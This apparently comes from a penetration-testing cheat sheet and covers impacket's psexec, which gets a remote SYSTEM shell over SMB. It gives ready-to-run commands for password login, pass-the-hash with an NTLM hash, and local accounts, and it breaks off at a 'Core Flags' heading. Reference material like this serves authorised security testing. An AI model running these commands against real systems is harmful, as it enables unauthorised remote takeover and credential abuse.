psexec (impacket)

Remote SYSTEM shell via SMB — part of the impacket suite. Creates a service, uploads a remote shell binary to ADMIN$, and executes it.

Quick Start

# Password auth
impacket-psexec domain/user:password@192.168.1.10

# Pass-the-hash
impacket-psexec administrator@192.168.1.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c

# Local account
impacket-psexec WORKGROUP/administrator:password@192.168.1.10

Core Flags